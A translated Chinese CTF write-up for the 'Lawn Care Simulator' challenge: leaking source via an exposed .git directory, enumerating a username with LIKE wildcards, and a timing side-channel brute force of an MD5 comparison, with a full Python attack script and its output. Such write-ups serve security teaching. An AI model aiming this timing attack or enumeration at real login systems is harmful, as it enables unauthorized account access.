问题

Lawn Care Simulator是一个用来显示小草生长过程的简单网页应用。它包含了许多有价值的内容,但是需要我们进行登录才能获取。

然而,无法进行注册操作,如果我们不能进行注册那么就没有其他方法去登录。

0×01 探寻.git仓库

从index.html的源代码中我们发现有一个AJAX请求Git仓库,接着我们可以在远程服务器利用.git文件。

随着下面SHA-1 Git objects hash,我们可以找到并下载源文件(不幸的是,并非全部)。

下面为哈希树:

$ git cat-file -p aa3025bdb15120ad0a2558246402119ce11f4e2e
tree 731924d14616f3f95c1d75e822a6a97a69f1a32f
author John G <[email protected]> 1442602067 +0000
committer John G <[email protected]> 1442602067 +0000
I think I'll just put mah source code riiiiighhhht here. Perfectly safe place for some source code.

以及内容树:

$ git cat-file -p 731924d14616f3f95c1d75e822a6a97a69f1a32f
100644 blob 4bcb0b3cf55c14b033e3d7e0a94b6025f6956ec7    ___HINT___
100644 blob 43d1df004d9cf95f2c5d83d2db3dcf887c7a9f2f    index.html
100644 blob 27d808506876eeb41d6a953ac27f33566216d25f    jobs.html
040000 tree 220a9334b01b77d1ac29b7fd3a35c6a18953a96d    js
100644 blob 73009145aac48cf1d0e72adfaa093de11f491715    premium.php
100644 blob 8e4852023815dc70761e38cde28aebed9ec038e3    sign_up.php
100644 blob 637c8e963a5fb7080ff639b5297bb10bca491bda    validate_pass.php

文件提示中没有任何有用的信息,但是我们可以先分析下一些文件的源代码,几分钟之后我们基本上确定了几个关键点。

1.注册页面无法正常工作,但是我们可以试着猜测/寻找已经注册好的帐号。

$user = mysql_real_escape_string($_POST['username']);    
// check to see if the username is available    
$query = "SELECT username FROM users WHERE username LIKE '$user';";    
$result = mysql_query($query) or die('Query failed: ' . mysql_error());    
$line = mysql_fetch_row($result, MYSQL_ASSOC);    
if ($line == NULL){        
    // Signing up for premium is still in development        
echo '<h2 style="margin: 60px;">Lawn Care Simulator 2015 is currently in a private beta. Please check back later</h2>';    
}    
else {        
    echo '<h2 style="margin: 60px;">Username: ' . $line['username'] . " is not available</h2>";    
}

2.登录页面正常工作,但我们需要找到正确的用户名并尝试通过身份验证,最后进入后台拿到旗子。

require_once 'validate_pass.php';    
require_once 'flag.php';    
if (isset($_POST['password']) && isset($_POST['username'])) {        
    $auth = validate($_POST['username'], $_POST['password']);         
    if ($auth){            
        echo "<h1>" . $flag . "</h1>";        
    }        
    else {            
        echo "<h1>Not Authorized</h1>";        
        }    
}    
else {        
    echo "<h1>You must supply a username and password</h1>";    
    }

0×02 寻找用户名

从sign_up.php中找到以下几行:

$user = mysql_real_escape_string($_POST['username']);    
// check to see if the username is available    
$query = "SELECT username FROM users WHERE username LIKE '$user';";

mysql_real_escape_string()在这里是不能够进行SQL注入的,但正如我们看到的,我们可以尝试使用类似(% 或者 _)的特殊字符来绕过mysql_real_escape_string()

所以当我们尝试使用%%作为用户名进行注册,得到下面的截图。

相当于我们目前已经有用户名了,接着便是寻找密码了。

0×03 bruteforce密码验证

这个密码验证方式第一次遇到,有点棘手

if (strlen($pass) != strlen($hash))        
    return False;    
    
$index = 0;    
while($hash[$index]){        
    if ($pass[$index] != $hash[$index])            
        return false;        
    # Protect against brute force attacks        
    usleep(300000);        
    $index+=1;    
}    
return true;

$hash的值来源于DB,$pass是来源于登录表单的密码进行MD5加密的hash值。首先检测长度,如果$pass的长度与$hash的长度不相等,验证直接返回false。因此,即使我们绕过了登录表单也需要发送32个字符(MD5 Hash)。

如果$hash和$pass相等,接着脚本一个字符一个字符检测,一阶差分之后返回正确与否。如果字符相同,等待0.3秒后检查下一个字符,这也是为什么我们选择bruteforce这个验证的原因了。

假设验证每个正确的字符与检查下一个字符之间有0.3秒的时间,我们可以在MD5字符串中从首字符开始比较所有的单个字符(在本例中有少许16进制数字)。为此我写了一个简单Python脚本,它只是从0~f(16进制)创建32个字符的字符串并发送到服务器。

#!/usr/bin/python

import requests
import sys

headers = {    
    "Referer": "http://54.175.3.248:8089/",    
    "Content-type": "application/x-www-form-urlencoded",    
    "Host": "54.175.3.248:8089"
}

def send_request(current_password):
    payload = {"username": "~~FLAG~~", "password": current_password}
    
    r = requests.post("http://54.175.3.248:8089/premium.php", headers=headers,                      data=payload)    
    return r.elapsed.total_seconds()
    
charset = "abcdef0123456789"
final_password = sys.argv[1]

current_password = ""
s = ""
for c in charset:
    current_password = final_password + c + "-" * (31 - len(final_password))    
    # send payload and check response time, avg from 3 probes
    print "sending payload with password: {}".format(current_password)
    t = send_request(current_password)    
    print "time for {} - {}".format(c, t)
    
final_password += s
print "\n\ncurrent final password: {} ({} chars)\n\n".format(final_password,                                                             len(
                                                                    final_password))

花了些时间,但最后我还是从FLAG用户名密码的MD5 hash中找到10个首字符。当我发送我获得的旗子,下面控制台输出的是样本尝试667后面的字符,脚本显示第4个字符'e'超过了平均时间,后面那个脚本输出是从667e217666开始,时间没有改变。

$ ./pass_time_check.py 667
sending payload with password: 667a----------------------------
time for a - 1.206054
sending payload with password: 667b----------------------------
time for b - 1.1628
sending payload with password: 667c----------------------------
time for c - 1.123849
sending payload with password: 667d----------------------------
time for d - 1.123673
sending payload with password: 667e----------------------------
time for e - 1.533342
sending payload with password: 667f----------------------------
time for f - 1.123596
sending payload with password: 6670----------------------------
time for 0 - 1.12424
sending payload with password: 6671----------------------------
time for 1 - 1.139995
sending payload with password: 6672----------------------------
time for 2 - 1.209023
sending payload with password: 6673----------------------------
time for 3 - 1.122856
sending payload with password: 6674----------------------------
time for 4 - 1.123731
sending payload with password: 6675----------------------------
time for 5 - 1.124603
sending payload with password: 6676----------------------------
time for 6 - 1.122691
sending payload with password: 6677----------------------------
time for 7 - 1.12402
sending payload with password: 6678----------------------------
time for 8 - 1.123192
sending payload with password: 6679----------------------------
time for 9 - 1.1241
$ ./pass_time_check.py 667e217666
sending payload with password: 667e217666a---------------------
time for a - 3.317382
sending payload with password: 667e217666b---------------------
time for b - 3.274132
sending payload with password: 667e217666c---------------------
time for c - 3.376334
sending payload with password: 667e217666d---------------------
time for d - 3.273846
sending payload with password: 667e217666e---------------------
time for e - 3.274608
sending payload with password: 667e217666f---------------------
time for f - 3.27328
sending payload with password: 667e2176660---------------------
time for 0 - 3.213485
sending payload with password: 667e2176661---------------------
time for 1 - 3.234123
sending payload with password: 667e2176662---------------------
time for 2 - 3.272356
sending payload with password: 667e2176663---------------------
time for 3 - 3.274707
sending payload with password: 667e2176664---------------------
time for 4 - 3.27386
sending payload with password: 667e2176665---------------------
time for 5 - 3.272986
sending payload with password: 667e2176666---------------------
time for 6 - 3.27506
sending payload with password: 667e2176667---------------------
time for 7 - 3.274545
sending payload with password: 667e2176668---------------------
time for 8 - 3.273122
sending payload with password: 667e2176669---------------------
time for 9 - 3.290462

667e217666响应时间不再改变后,我决定添加了一些随机字符试试:

最后获得flag:gr0wth__h4ck!nG!1!1!

我没搞懂为什么在10个字符之后才开始工作,我个人猜测可能是某种预验证机制吧。在代码中我们看不到,并且在CTF夺旗赛中毕竟是看谁最先拿到旗子。

一千个人心中有一千个哈姆雷特,大家多发散思维或许还有其他的思路呢!

激情地址:http://54.165.252.74:8089/

* 参考来源:github鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...